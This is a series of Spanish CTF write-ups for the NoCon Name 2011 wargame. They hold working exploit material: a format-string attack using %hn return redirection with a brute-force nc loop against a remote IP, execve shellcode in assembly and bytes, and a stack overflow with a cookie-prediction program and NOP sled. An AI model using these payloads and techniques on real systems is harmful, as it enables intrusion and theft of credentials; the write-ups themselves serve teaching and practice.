Vamos a explicarlo un poco, lo primero que hemos hecho es, dado que con las pruebas anteriores sabemos que se puede llegar a imprimir de una sola vez 0x08ffXXXX bytes a 0xb8001008 le restamos los 0x08001008 bytes finales. Esta cantidad se puede imprimir de golpe, en decimal es 134221832, menos los 50 bytes de la shellcode 134221782, la primera directiva %x de relleno. Nos quedan 0xb0000000 bytes por imprimir, dividimos esa cantidad entre 0x08000000 y nos sale 0x16, es decir 22. 0x08000000 en decimal es 134217728, entonces creamos 22 directivas %x que impriman esa cantidad. Antes de ejecutar esto debemos darnos cuenta de que vamos a intentar imprimir 0xb8001008 bytes, esto son unos 2,9 Gb así que la ejecución va a tardar... y van a salir muchos ceros en la pantalla :).

Una aclaración, ya hemos comentado antes que hay una alarma de 10 segundos y explicamos (en NOTA 1) como quitarnos esa molestia. Si llegamos a este punto y no hemos implementado la solución la alarma nos cortará ya que imprimir todo esto tarda "algo más" de 10 segundos :D. Así que aquí sí que es necesario el ignorante_de_la_vida :). Pues bien, después de todo esto, va dar igual todo el trabajo (bueno igual no, hemos aprendido cosas) porque el printf no imprimirá más de 2,1 Gb. Nos bajamos el código fuente de la glibc para analizar ésto pero al final paramos porque queríamos seguir con el reto y porque el código del vfprintf() no es lo que uno llamaría "trivial" (macros powa!). Así que nos quedamos a dos velas T_T, teniendo el nivel a nada de distancia y no llegamos al final porque el vfprintf() está vagueando y pasa de imprimir tantos bytes :(.

Tendremos que enfocarlo de otra manera. Llegados a este punto nos fijamos en las funciones implementa level5 y que sin embargo no se usan, get_urand() y connectto(). Fijándonos vemos que get_urand() abre /dev/urandom y lee de ahí unos cuantos caracteres, connectto() por su parte lo que hace es abrir una conexión al ordenador que se le especifique... Esto es interesante, quizás podríamos de alguna forma saltar a connectto() para abrir una conexión a nuestro ordenador atacante, donde tendremos un netcat esperando para pasar algo. Luego de alguna manera podríamos intentar leer de ese socket a alguna variable EN PILA y no en el heap como está nuestra string y entonces aplicar la técnica de hardcodear en nuestra string direcciones a las que saltar, etc... y luego si lo mezclamos todo esto con get_urand(), pero no un get_urand() cualquiera, si conseguimos enjaular al proceso en otro espacio de nombres del sistema de ficheros, donde crearemos un fichero /dev/urandom que sea un enlace a /home/level4/password.txt... LOGRARIAMOS NUESTRO OBJETIVO!.

Bueno pues la idea se queda ahí por si alguien quiere hacerlo, que tiene bastante pinta de que se puede, pero nosotros vamos a tirar por otro camino xDD. Bueno, estamos limitados a escribir una cantidad de bytes máximos... pero aún nos queda un as en la manga. No lo hemos explicado con anterioridad pero soltar toda la traya de las format strings de golpe es bastante doloroso. Atención! nueva característica de las format strings, el directiva %n como hemos visto escribe un entero (4 bytes), sin embargo se le puede añadir delante el modificador 'h' para que en vez de eso escriba un short (2 bytes), entonces "%hn" lo que haría sería escribir la cantidad de bytes escritos hasta el momento en la posición de memoria apuntada por el parámetro correspondiente pero sólo 2 bytes, dejando intacta la parte superior de esa posición de memoria si la dirección está alineada a 4 o trastocando la parte superior de la memoria pero dejando la parte baja intacta. Así si llevaramos impresos 3 bytes cuando llegamos a la directiva, y el parámetro esta apuntando al byte bajo del valor 0xaabbccdd, después del %hn quedaría 0xaabb0003, si en vez de eso X apuntara al byte que contiene bb, se quedaría 0x0003ccdd.

Y esto de que nos sirve? Revisemos la pila de nuevo.

0xbffffc30  <-- 1
0xbffffc58  <-- 2
0xb7fff04f  <-- 3
0xb8001008
0xb8001008
0x000003ff
0x00000000
0x00000000
0x00000000
0xb7fd5ff4
0xbffffc98
0xb7fd5ff4
0xb8001008
0xbffffc98  <-- 14
0xb7ffeea7  <-- 15
0x00000004
0xbffffc80
0xbffffc7c
0xb7fd5ff4
0x00000000
0x00000000
0xbffffc98
0x00000010
0x01850002
0xbffffc2c  <-- 25
0x00000000
0x00000000
0x00000004
0x00000000
0xbffffcc8  <-- 30

Aquí hay un detalle algo oscuro pero útil. Fijémonos en 3, es ret de dovuln(), ahora fijémonos en 4, es el parámetro a dovuln() nuestra string. Hemos visto que no podemos escribir directamente 0xb8001008 en ret y saltar así a nuestra string donde, bajo ningún concepto, habrá una shellcode. Sin embargo no nos hace falta! Con lo que acabamos de explicar de escribir sólo dos bytes con %hn hay truco. El código, aunque reallocatable (spanglish de la death), está todo junto, qué pasaría si sólo sobreescribo los dos últimos bytes de la dirección de retorno?, pues que quedaría algo como 0xb7ffXXXX y nosotros controlaríamos XXXX, y esto nos sirve de algo? Bueno, en el código hay muchas instrucciones ret, siempre que una función hace return. La función ret hace lo contrario al call, popea la dirección de retorno y la introduce en el eip, haciendo que se salte hacia allí. Podemos localizar una instrucción ret cercana a 0xb7fff04f y cambiar la dirección de retorno para que se salte a ese ret... al ejecutarse se volvería a hacer otro ret, por lo que se volvería a popear la dirección de retorno (o mejor dicho, lo que haya en la cima de la pila), se pondría en el eip y se saltaría allí... qué hay debajo del ret de dovuln()?? }:-). No estamos del todo seguro porque de esto no sabemos mucho pero... ROP (Return-Oriented-Programming)? }:-).

Bien bien, veamos, una instrucción ret en el código... la de handle() por ejemplo (OJO! esto es una depuración en local, los números no son los de antes):

$ gdb -q level5
(gdb) disas handle
...
   0x0011104a <+135>:    call   0x110fab <dovuln> <-- Llamada a dovuln()
   0x0011104f <+140>:    movl   $0x0,0xc(%esp)    <-- Dirección donde se retornará
   0x00111057 <+148>:    movl   $0x5,0x8(%esp)
   0x0011105f <+156>:    movl   $0x111272,0x4(%esp)
   0x00111067 <+164>:    mov    0x8(%ebp),%eax
   0x0011106a <+167>:    mov    %eax,(%esp)
   0x0011106d <+170>:    call   0xb7f41c60 <send>
   0x00111072 <+175>:    mov    -0x4(%ebp),%eax
   0x00111075 <+178>:    mov    %eax,(%esp)
   0x00111078 <+181>:    call   0xb7ee0df0 <free>
   0x0011107d <+186>:    mov    0x8(%ebp),%eax
   0x00111080 <+189>:    mov    %eax,(%esp)
   0x00111083 <+192>:    call   0xb7f2fe30 <close>
   0x00111088 <+197>:    mov    $0x0,%eax
   0x0011108d <+202>:    leave 
   0x0011108e <+203>:    ret    <-- Anda! una instrucción ret.
End of assembler dump.
(gdb) x /8xw $esp
0xbffff350:    0x00113008    0xb7f8330b    0xbffff388    0x0011104f
0xbffff360:    0x00113008    0x00113008    0x000003ff    0x00000000
(gdb)

La dirección de retorno y la instrucción ret que mostramos distan 203-140 = 63 (0x3f) bytes, la dirección de retorno de dovuln() en la ejecución remota es 0xb7fff04f, por lo tanto el ret remoto al que queremos saltar está en 0xb7fff04f + 0x3f = 0xb7fff08e. Debemos imprimir 0xf08e caracteres:

$ perl -e 'print `cat shellcode` . "%61532n" . "%25\$hn"' | nc 44.252.255.10 12345

Sin embargo veremos que no parece que se ejecute nuestra shellcode, qué está pasando?. Si volvemos a analizar el comportamiento depurando en local observaremos un comportamiento que por desgracia se escapa a nuestro entender :(, pero que está ahí. Una vez en ejecución las funciones no distan la misma distancia de bytes que cuando están sin ejecutar, el cálculo anterior no nos vale. Sin embargo podemos observar que aunque las distancias cambien se mantienen relativamente cerca entre ellas. A estas alturas ya estamos vagos y decidimos bruteforcear un poco (oooohhhh!). Vamos hacer un script que lance la sentencia anterior parametrizando la cantidad de caracteres que imprime. También vamos a cambiar la shellcode, en vez de una shell vamos a ejecutar un cat sobre el fichero que nos interesa, de forma que el server escupa en pantalla el contenido. La shellcode desarrollada para esto ha sido ésta (sintaxis AT&T):

   jmp   trick
shellcode:
   pop   %esi
   xor   %eax, %eax
   movb  %al, 0x2e(%esi)
   movb  %al, 0x14(%esi)
   movl  %eax, 0x8(%esi)
   movl  %esi, %ebx
   addl  $0x15, %ebx
   movl  %ebx, 0x4(%esi)
   movl  %esi, %ebx
   addl  $0xc, %ebx
   movl  %ebx, (%esi)
   movl  %esi, %ecx
   xor   %edx, %edx
   xor   %esi, %esi
   movb  $0xb, %al
   int   $0x80
trick:
   call  shellcode

.string  "AAAABBBBCCCC/bin/catA/home/level4/password.txt"

Esta shellcode ocupa más que la otra, 90 bytes concretamente. Redireccionaremos la salida del servidor a un fichero por 2 motivos, una es que en ficheros se escribe más rápido que en pantalla y la otra es que la pantalla tiene un buffer máximo y a la velocidad que se imprime probablemente perderemos el contenido del fichero xD. El script desarrollado es la siguiente chapuza (el cansancio hace mella):

#!/bin/bash

for i in `seq 61000 62000`; do
   perl -e "print \`cat catcode\` . \"%0${i}x\" . \"%25\\\$hn\\n\"" | nc 44.252.255.10 12345 1>/dev/null
   sleep 0.01
done

Fuimos probando intervalos de mil en mil (en este caso de 61000 a 62000) y empezamos por intervalos más bien altos para descartar primero las posiciones por las que están rondando todo el rato las direcciones con las que estamos jugando (f0XX). De hecho haciendo esto ni siquiera llegaremos a terminar porque vamos a encontrar más o menos rápido la cantidad de bytes que hace falta para conseguir cambiar la dirección de retorno a una instrucción ret (cuidado! aquí ya no podemos estar seguros de estar saltando a la instrucción ret que queremos o a otra... pero saltaremos a alguna). Otro motivo para hacer los intentos en intervalos es que se genera bastante salida y luego tenemos que analizarla (aunque evidentemente no será a mano sino con un poco de magia de expresiones regulares y egrep), y además de eso el disco duro de la máquina virtual sólo tiene libre algo más de 100 Mb, si le echamos un calculo a cuantos bytes imprimirá cada sentencia vemos que serán (61090 + 62090) * 1000 / 2 (suma de una serie, el primero más el último por el número de elementos partido por 2), lo que viene a ser unos 59 Mb. Otro detalle que también hacemos es redireccionar la salida de errores del servidor a /dev/null, vamos a estar saltando a un montón de sitios y cada una de las instancias va a estar haciendo cosas raras y van a dar errores.

Para ir terminando, después de tener el fichero de resultados del grupo que muestra este script y de hacer un poco de regexp ninja magic con egrep y sed encontraremos el mensaje de password.txt:

"Felicidades, te has pasado el wargame de la ncn2011!!" :D:D:D.

Una de las sentencias que nos devuelve este resultado es la siguiente:

$ perl -e 'print `cat catcode` . "%061608x" . "%25\$hn\n\n"' | nc 44.252.255.10 12345
... <-- <shellcode>61000 y pico ceros xD

Felicidades, te has pasado el wargame de la ncn2011

Y hasta aquí llegamos. He estado cinco minutos intentando pensar una frase molona para poner aquí, coño! que es el final!! que me ha llevado la de dios terminar este último nivel!!! que yo no soy HD Moore!!!!, pero son las 3:30 de la mañana ahora mismo y aun me quedara un tiempo para darle formato a esto y poder enviarlo con un poco de decencia... no tengo el cerebro para pensar mucho ahora mismo... pero unos chistes siempre vienen bien:

- Qué le dice la máquina de Turin grande a la máquina de Turin pequeña? "Tan pequeña y ya computas!".

- Y Jesús dijo "y = ax^2 + bx + c", a lo que un discípulo preguntó, "y eso qué es?" y el respondió "una parábola!".

- There's no place like ::1.

- Bruce Schneier knows Alice and Bob shared secret.






NOTA 1: Cuando nos ponemos a depurar el binario nos daremos cuenta de que el poco tiempo de llegar a un breakpoint el gdb nos dice "Program terminated with signal SIGALRM, Alarm clock. The program no longer exists.". Esto es debido a que para molestar un poco a la hora del debugging a los hilos que atienden peticiones de clientes (los que realmente ejecutan dovuln()) antes de empezar el trabajo real se ponen una alarma de 10 segundos:

int handle(int csock)
{
   char *buf;

   alarm(10); <--- PUYITA!

   buf = (char*)malloc(1024);


   memset(buf, '\0', 1024);

Sin embargo nos lo podemos saltar para evitar el coñazo y hacer la depuración más llevadera. Se trata de hacer un programa que bloquee esta señal y luego ejecute el servidor. OJO! no vale establecer como manejador de SIGALRM SIG_IGN porque la familia de funciones exec() reestablecen los manejadores de señal al de por defecto, en el caso de SIGALRM sera el de SIGTERM (terminar el proceso). Lo que hay que hacer es mediante sigprocmask bloquear la señal. Esto no hace que la señal sea ignorada sino que se quede en estado pending hasta que la desbloqueemos... no lo vamos a hacer nunca xD. El programa podría ser este:

#include <signal.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
   char *args[] = {"/home/level4/level5", NULL};
   sigset_t mask;

   sigemptyset(&mask);
   sigaddset(&mask, SIGALRM);
   sigprocmask(SIG_BLOCK, &mask, NULL);

   execv(args[0], args);
   return 0;
}

Ahora en vez de ejecutar directamente level5, ejecutaríamos este programa, en nuestro caso lo hemos llamado ignorante_de_la_vida (aunque realmente no ignora la señal, pero bueno... hemos tenido días más lúcidos). Así que cuando queramos poner en marcha el servidor lo que haremos será:

$ ./ignorante_de_la_vida
port: 12345

Y ya los procesos no se morirán al depurar :-).

NOTA 2: Sí, ya lo se, todo el documento está lleno con paths que dejan ver claramente cosas como el usuario en mi máquina, /etc... Que pereza me da quitarlo ¬¬. Metadatos, metadatos everywhere... es como si el maligno no me hubiera enseñado nada :-s.

Puedes descargarte el pdf aquí.

Writeup level4 del wargame de la NoCon Name 2011

Este nivel ya tiene bastante más miga que los anteriores (o nosotros no logramos ver el camino fácil). Al loguearnos como level3 veremos el binario level4 (por qué no level3?). Al ejecutarlo veremos que quiere galletas, y de chocolate encima! VAYA TOCOMOCHO!.

$ ./level4
./level4 <Te cambio mi galleta por una de chocolate!>

En fin, vamos a probar.

$ ./level4 1
Esta es mi galleta: <numero hexadecimal>

Si repetimos esto muchas veces veremos que su galleta cambia y no depende de la que nosotros introduzcamos... YA LO TENEMOS!

$ ./level4 chocolate
Esta es mi galleta: <otro numero>

Ooohhh! no pudo ser :). Probemos con el sentido de la vida el universo y todo lo demás.

$ ./level4 42
Esta es mi galleta: <guan mor taim a random namber>

Vaya hombre! más no se le puede dar!. En fin, después de todas estas tonterías vamos a lo serio.

Primero le echamos un ojo al fuente, vemos que la galleta es un número aleatorio con semilla el tiempo actual. Después de generarla se llama a la funcion galleta() que es donde está toda la magia.

Lo primero que vemos es que se copia byte a byte en un BUFFER ESTÁTICO LOCAL A LA FUNCIÓN EL ARGUMENTO PASADO QUE A SU VEZ ES LA GALLETA QUE NOSOTROS LE PASAMOS... o sea BoF (buffer overflow).

A partir de aquí entendemos que el lector tiene ciertos conocimientos de reversing y exploiting además de ensamblador (x86) y de la organización de un proceso en memoria. Si no es así recomendamos Smashing the stack for fun and profit para empezar.

Viendo el BoF lo que vamos a intentar es aprovecharnos del mismo. Nuestro objetivo será sobreescribir la dirección de retorno de galleta para que salte a la pila donde habremos inyectado una shellcode. Esto es posible porque el buffer a explotar es bastante grande, 64 bytes. También nos damos cuenta de que a la hora de sobreescribir debemos lograr que cookie no cambie de valor o el programa saldrá por un exit, con lo que no nos servirá de nada lasobreescritura. El valor de cookie debe ser el mismo que el de secret que a su vez es el número aleatorio que se generó en main.

Vamos por partes, tenemos que sobreescribir la dirección de retorno, pero en este proceso vamos a trastocar cookie, i y len. Esto va a introducir unos cuantos problemas, no va a ser tan simple como pasar como galleta nuestra shellcode, basura y la direccion de retorno a la que queremos saltar.

Si empezamos a probar metiendo argumentos más grandes que 64 bytes veremos que a partir de 65 bytes nuestras galletas no son de chocolate.

$ ./level4 `perl -e 'print "A"x65'`
Esta es mi galleta: XXXXX
Esta no es de chocolate! :(

Con esto sabemos que a partir del byte 65 se empieza a sobreescribir cookie. Ahora nos vamos a centrar en convertir nuestras galletas en galletas de chocolate. Sabemos que la galleta del programa es el resultado de la función rand() con semilla el tiempo actual, pero como vamos a adivinar el número que saldrá en el futuro? No lo vamos a adivinar, vamos a averiguar cuál es ese número e inmediatamente lo vamos a usar para ejecutar level4, si todo esto lo hacemos en menos de un segundo (la granularidad de la función time()) obtendremos el número que necesitamos pasar. Para ello hemos hecho el siguiente programa:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    int limit = 0;
    int random;
    char *trick;

    srand(time(NULL));
    random = rand();
    trick = (char *)&random;
    printf("%s", trick);
}

El programa es muy simple, vamos a generar el número con la semilla igual al tiempo actual y lo vamos a imprimir. Si antes de que pase un segundo ejecutamos este programa, cogemos el numero devuelvo y se lo pasamos a level4 (tratándolo) conseguiremos que level4 obtenga el mismo número y entonces la comparación de nuestra galleta con la suya será igual. Con esto conseguimos que no se ejecute el exit(), sino que retorne de la función... y nuestra idea es sobreescribir eso }:). El programa tiene un pequeño truco para imprimir el número pero entiendo que el lector sabe suficiente C como para entenderlo sin problemas.

Compilamos y probamos de la siguiente manera:

$ gcc -o cubridor_de_chocolate_galletil cubridor_de_chocolate_galletil.c
$ ./level4 `perl -e 'print "A"x64 . \`./cubridor_de_chocolate_galletil\`'`
Esta es mi galleta: XXXXXX
$

Vemos que funciona, ahora no se ha quejado de que la galleta no es de chocolate, claro! la que le pasamos la recubrimos de chocolate con nuestro cubridor!.

Si seguimos aumentando la ristra que pasamos en pos de sobreescribir a muerteeeeee... bueno no, solo a la dirección de retorno.

$ ./level4 `perl -e 'print "A"x64 . \`./cubridor_de_chocolate_galletil\` . "A"'`
^C
$

Vemos que el programa se queda congelado y que hay que matarlo abruptamente, no sabemos muy bien por qué. Analizando en profundidad (gdb en mano) observamos lo siguiente:



Al desamblar galleta() y analizar dónde se encuentran todas sus variables locales y como está organizado su frame vemos lo siguiente:

-----------------
|      tmp      | <-- -0x54(ebp)
|               |
       ...
|               |
-----------------
|     cookie    | <-- -0x14(ebp)
-----------------
|       i       | <-- -0xc(ebp)
-----------------
|      len      | <-- -0x8(ebp)
-----------------
|      ...      |
-----------------
|      ...      |
-----------------
|   saved ebp   | <-- (ebp)
-----------------
|   saved eip   |
-----------------
|     arg[1]    |
-----------------

Si seguimos metiendo más bytes en el argumento sobreescribiremos i y por lo tanto la copia en tmp dejará de ser contigua. A continuación vemos el bucle que copia en tmp el argumento:



Debemos darnos cuenta que i y len no se mantienen en registros entre iteraciones, sino que se guardan y se leen de memoria cada vez. Esto provoca que cuando sobreescribimos el primer byte de i luego se incremente ese valor en 1 y entonces se vaya a buscar el byte en esa posicion en argv[1] y se guarde en esa posición en tmp. En nuestro ejemplo usando "A" que en hexadecimal es 0x41, se sobreescribirá i poniéndole ese valor, luego se cargará i (que ahora vale 0x41) se incrementará y se volverá a guardar, con lo que nos quedará que en la siguiente iteración se cogerá el byte de la posicion 0x42 (66 en decimal) del argumento y se guardará en la posición tmp[66].

Tenemos que construir nuestro argumento para que justo en el byte 69 (donde se empieza a sobreescribir i) tenga un valor que nos permita escribir en la dirección de retorno. Si nos fijamos en la posición de tmp en la pila veremos que está a 0x58 bytes de distancia de saved eip, así pues el byte que tenemos que pasar es, OJO!, 0x57. Ya que i se sobreescribirá con el e inmediatamente se incrementará para luego copiar un byte más en tmp.

Pero como hemos comentado antes, i también controla a la posición a la que se accede al argumento para buscar el byte a copiar, por lo tanto en la posición 0x58 de nuestro argumento debe empezar la dirección con la que queremos sobreescribir saved eip. Para ello deberemos aumentar el tamaño del argumento de la siguiente manera.

Dentro del propio gdb probamos todo esto:


Efectivamente vemos como hemos sobreescrito la dirección de retorno con 0xddccbbaa y evidentemente hemos acabado con un segmentation fault. Un detalle, "cubridor_de_chocolate_galletil" es gracioso pero poco práctico si se va a usar mucho, en el ejemplo vemos que lo hemos llamado "predictor"... PERO MOLA MÁS EL OTRO!.

Ahora debemos saber que dirección poner ahí, vamos a intentar saltar a la dirección de tmp, donde más tarde pondremos una shellcode. Miramos con gdb dónde se encuentra:



Vemos que se encuentra en 0xbffffc44. Aquí tenemos que hacer un par de aclaraciones. La primera y más importante es que esta dirección se mantiene entre ejecuciones porque ASLR no esta activo ("cat /proc/sys/kernel/randomize_va_space" devuelve 0). La segunda es que ahora estamos ejecutando dentro de gdb, cuando salgamos la dirección cambiará (aunque será cercana) debido a que el entorno donde se ejecuta no es el mismo. Para averiguar en que dirección se va a colocar la pila vamos a hacer una copia de level4.c, vamos a modificar ligeramente el programa, poniéndole la siguiente línea nada más comenzar galleta():

printf("%p\n", &tmp);

De forma que nos imprima la dirección donde se encuentra el buffer al que queremos saltar sin estar en gdb:

$ gcc -o copia_level4 copia_level4.c
...
$ ./copia_level4 `perl -e 'print "A"x64 . \`./predictor\` . "\x57" . "A"x19 . "\xaa\xbb\xcc\xdd"'`
0xbffffc74
Segmentation fault

Bien, el comienzo de tmp es esa dirección y hemos sobreescrito la dirección de retorno. Debemos hacer notar que no basta con ejecutar simplemente copia_level4 con un argumento cualquiera porque el tamaño de éste también modifica la dirección en pila debido a que los argumentos se encuentran en direcciones de memoria más altas que la pila, y cuanto más grande sea el argumento la pila quedará en posiciones más bajas. Veamos:

$ ./copia_level4 ":O"
...
0xbffffcd4

Como vemos, ahora esta en posiciones más altas de memoria, hay que tener cuidado con esto, de hecho ahora veremos que tenemos que hacer una pequeña modificación por algo parecido.

Bien ya tenemos la dirección de retorno sobreescrita y con la dirección que queremos sobreescribir. Ahora "sólo" queda poner allí una shellcode. En esta parte vamos a poner un gran agujero negro. Nosotros, el grupo PHT, hemos/estamos participado/participando en más wargames y tenemos una serie de utilidades ya escritas por nosotros para ayudarnos. Entre ellas tenemos escrita una pequeña shellcode en ensamblador que implementa las técnicas necesarias para que sea "reallocatable" y sin bytes nulos (Smashing the stack for fun and profit si quieres saber de que va todo esto). Es la siguiente:

    jmp        trick

shellcode:
    pop        esi
    xor        eax, eax
    mov        [esi + 0x7], al
    mov        [esi + 0x8], esi
    mov        [esi + 0xc], eax
    mov        ebx, esi
    mov        ecx, esi
    add        cl, 8
    xor        edx, edx
    xor        esi, esi
    mov        al, 0xb
    int        0x80

trick:
    call    shellcode

db    "/bin/shABBBBCCCC"

Está preparada para compilar con nasm, pero por desgracia nasm (al menos el que nosotros tenemos), no genera el codigo como esperamos, el jmp y call no son cercanos y encodean directamente una dirección y no un desplazamiento, así que hay que parchear a manopla los bytes correspondientes. Para ello tradujimos la shellcode a gas (GNU ASsembler):


.globl main
main:
    jmp        trick
shellcode:
    pop        %esi
    xor        %eax, %eax
    movb    %al, 0x7(%esi)
    movl    %esi, 0x8(%esi)
    movl    %eax, 0xc(%esi)
    movl    %esi, %ebx
    movl    %esi, %ecx
    addb    $0x8, %cl
    xor        %edx, %edx
    xor        %esi, %esi
    movb    $0xb, %al
    int        $0x80

trick:
    call     shellcode

.string    "/bin/shABBBBCCCC"

Y la modificamos un poco para poderla compilar con gcc QUE SI GENERA SALTOS RELATIVOS, y poder ver como se encodeaban esas instrucciones con objdump:

$ objdump -D <shellcode>
...
08048394 <main>:
 8048394:       eb 1b                   jmp    80483b1 <trick>

08048396 <shellcode>:
 8048396:       5e                      pop    %esi
 8048397:       31 c0                   xor    %eax,%eax
 8048399:       88 46 07                mov    %al,0x7(%esi)
 804839c:       89 76 08                mov    %esi,0x8(%esi)
 804839f:       89 46 0c                mov    %eax,0xc(%esi)
 80483a2:       89 f3                   mov    %esi,%ebx
 80483a4:       89 f1                   mov    %esi,%ecx
 80483a6:       80 c1 08                add    $0x8,%cl
 80483a9:       31 d2                   xor    %edx,%edx
 80483ab:       31 f6                   xor    %esi,%esi
 80483ad:       b0 0b                   mov    $0xb,%al
 80483af:       cd 80                   int    $0x80

080483b1 <trick>:
 80483b1:       e8 e0 ff ff ff          call   8048396 <shellcode>
...

Para inyectarla en level4 hacemos lo siguiente:


Y por fin tenemos la contraseña del siguiente nivel. El lector avispado se habrá dado cuenta de que la dirección de retorno que se sobreescribe no es la misma que la que hemos usado anteriormente 0xbffffc74, sino 0xbffffc84. Esto es debido a que el entorno de copia_level4 y level4 son distintos. Cuando ejecutamos un programa en su entorno aparece una variable llamada "_" que contiene el nombre del programa ejecutado (./level4 o ./copia_level4). Las variables de entorno están en posiciones más altas de memoria (al igual que los argumentos), por lo tanto la pila se ve modificada dependiendo del tamaño del nombre del programa. Nombres más largos harán que la pila este en posiciones más bajas de memoria. Y aun hay una vuelta de tuerca más, la pila no puede estar en cualquier posición, sólo en posiciones múltiplo de 4 ya que si no los accesos a memoria relativos a ebp y esp generarían segmentations fault por acceder a posiciones no alineadas. Para evitar esto los programas compilados por gcc, en su main tienen siempre una instrucción para alinear la pila:

0x0805f3f3 <+3>:    and    $0xfffffff0,%esp

Vemos que se alinea de 16 bytes en 16 bytes. Se puede comprobar esto en cualquier programa que compilemos con gcc. Si hacemos un análisis del comportamiento de la pila veremos que según vayamos aumentando el nombre o dándole al programa un argumento más grande, la pila se moverá cada 16 bytes. Este es el motivo de por qué hemos sumado 16 bytes (0x10) a la dirección de retorno a sobreescribir, el nombre ./copia_level4 es más largo que ./level4. Se puede pensar que quizás tenemos la suerte de que tanto con un nombre como con el otro, ya que no distan 16 bytes, podríamos caer en la misma posición. Este planteamiento es cierto, pero hay que tener cuidado, no hay que "sumar o restar 16" a partir del nombre, el nombre podría empezar en <dirección alineada>+7, con lo que sólo nos quedarían 16-7=9 bytes para que nombres más largos no modificaran la pila. En este caso concreto la diferencia entre copia_level4 y level4 sí ocasiona que la pila se desplace. Por ello hemos modificado la dirección 16 bytes.

Adicionalmente aunque no haría falta porque estamos saltando con precisión de un byte, se puede observar que antes de nuestra shellcode hemos inyectado 14 bytes con valor "\x90", ese valor corresponde a la instrucción nop de x86 y la técnica de poner delante de nuestra shellcode unos cuantos se llama NOPSLED, sirve para en situaciones donde no sabemos la dirección exacta donde ha caído la shellcode pero más o menos tenemos delimitado por dónde ha sido, podamos saltar por esa zona y tener un "colchón", siempre que caigamos en alguno de los nops o en el primer byte de la shellcode, ésta se ejecutará correctamente.

Que no se piense el lector que el proceso lo hemos hecho seguido sin equivocarnos y con todas las ideas viniendo de golpe. En este nivel hay que pensar, es especialmente cabroncete el hecho de que i se sobreescribe porque el comportamiento que ocurre no es tan evidente. Nos ha llevado algunas horas conseguirlo.

NOTA PARA LA ORGANIZACION: No se si es algo hecho a conciencia o un error. La contraseña que se muestra al obtener el contenido del fichero password.txt de level4 no sirve para loguearse luego como level4. Revise lo que conozco del login de usuario, mire ficheros ocultos en el home de level4, comprobe la configuración de sshd, intente loguearme tanto por ssh como por una consola local, comprobe que el mapa de caracteres imprimía los caracteres esperados y no otros (a veces pasa que el mapa es incorrecto y no se nota en la contraseña), revise la configuración de los PAM para ver si había algo puesto a mano (como las reglas de iptables de level0 que que mandaban el RST,ACK junto con el programa lol que se ejecuta al inicio del sistema y que entre otras cosas invoca a hping3 ;) y finalmente hasta probe a entrar como root para mirar /var/log/auth.log a ver si me daba alguna pista. Todos los mensajes son de contraseña incorrecta. Por otro lado debido a los permisos de las carpetas home y de los ejecutables a explotar, se puede con cualquier usuario hacer cualquier nivel (desde level0 podíamos haber intentado level5), hasta aquí creo haber demostrado que sé cómo hacer reversing y exploiting de un programa como level4 y que lo que se pretendía demostrar lo he demostrado, si se trata de alguna idea feliz (como probar bruteforcing con pequeñas variaciones de la contraseña que tenemos) o por el estilo ahora mismo no me interesa, me interesa mucho más ponerme con el siguiente nivel que parece muy entretenido :).

Puedes bajarte el pdf aquí.

Writeup level3 del wargame de la NoCon Name 2011

Al loguearnos vemos un binario arbitraje y su codigo fuente. Cuando ejecutamos el binario vemos que nos suelta un montón de líneas y al terminar con Ctrl + C nos dice que estamos perdiendo dinero. WTF! ESTO HAY QUE SOLUCIONARLO PRONTO QUE ESTAMOS EN CRISIS Y NO PUEDE SER!.

Miramos el fuente y vemos una bonita explicación (aunque todavía estoy preguntándome de dónde sale el 0.76...) de lo que es el arbitraje y cómo las hienas ganan dinero con ello. Mirando ya el código en si, vemos que el programa se queda generando un valor aleatorio para usdollar, britishpound y francs aleatoriamente e imprimiendo los valores, y que cuando mandemos la señal SIGINT se comprobará si la multiplicación de estos tres valores es mayor que 1 y en tal caso imprimirá el fichero password.txt. En caso contrario nos dirá que estamos perdiendo dinero.

Probando muchas veces puede ocurrir que usdollar y britishpound (los cuales nunca tendrán un valor por encima de 1) sean lo bastante grandes (cercanos lo más posible a 1) como para que al multiplicarlos por francs (que suele valer por encima de uno con cierta frecuencia... concretamente un 30'5551317% de las veces, pero no estamos en clase de probabilidad y estadística) el resultado sea superior a 1, que es lo que buscamos. Veamos que tal está el lector con herramientas de UN*X... sed -e '/^Probando muchas veces puede ocurrir\(.*\)$/Scripteando ocurrirá\1/' $ESTE_PARRAFO.

Así que vamos a ello, un poco de bash (almost) ninja magic:

#!/bin/bash

# Fichero temporal donde se va a volcar la salida de arbitraje.
tmp_file=`mktemp --tmpdir=/var/tmp`

# Comenzamos un bucle infinito donde lo que se hace es lanzar en
# background una instancia de arbitraje redireccionando su stdout
# al fichero temporal. Luego se le envia SIGINT y se comprueba si
# perdió dinero, en cuyo caso vuelve a intentarlo. Si no fue así
# se imprime el final del fichero temporal, donde se habrá escrito
# la contraseña de level3 y se termina la ejecución.
for ((;;)); do
    ./arbitraje 1>$tmp_file &
    sleep 0.001

    # MATAR!
    sync
    kill -INT $!

    egrep "perdiendo dinero" $tmp_file 1>/dev/null
    if [[ $? -eq 1 ]]; then
        tail $tmp_file
        exit 0
    fi
done

El comentario en el script creo que es bastante autoexplicativo. Hemos creado un script que estará todo el rato lanzando arbitrajes, matándolos y comprobando si ha ocurrido lo que esperamos, hasta que lo consigamos. Como es un ordenador el que ejecuta este proceso lo hará muy rápido con lo que esperamos que el tiempo de "prueba error" se reduzca drásticamente.

$ chmod 700 script.sh
$ ./script
...
>2'+<74FR}8i

Después de unos pocos segundos se nos imprime la contraseña del siguiente nivel :).

El lector habrá notado un par de líneas un poco extrañas en el script, concretamente un sleep y un sync. El sleep es debido a que después de la creación de arbitraje quién se ejecuta no es arbitraje sino el script, con lo que directamente matará a arbitraje sin que este se ejecute (realmente podría ocurrir que el kernel justo interrumpiera a script.sh antes de ejecutar el kill y sched() decidiera introducir a arbitraje... pero eso es poco probable y no vamos a entrar en internals del kernel porque ahora no es el momento). El sleep lo que va a provocar precisamente es que el sistema saque de la CPU a script.sh y meta a arbitraje y ya empezará a escupir información.

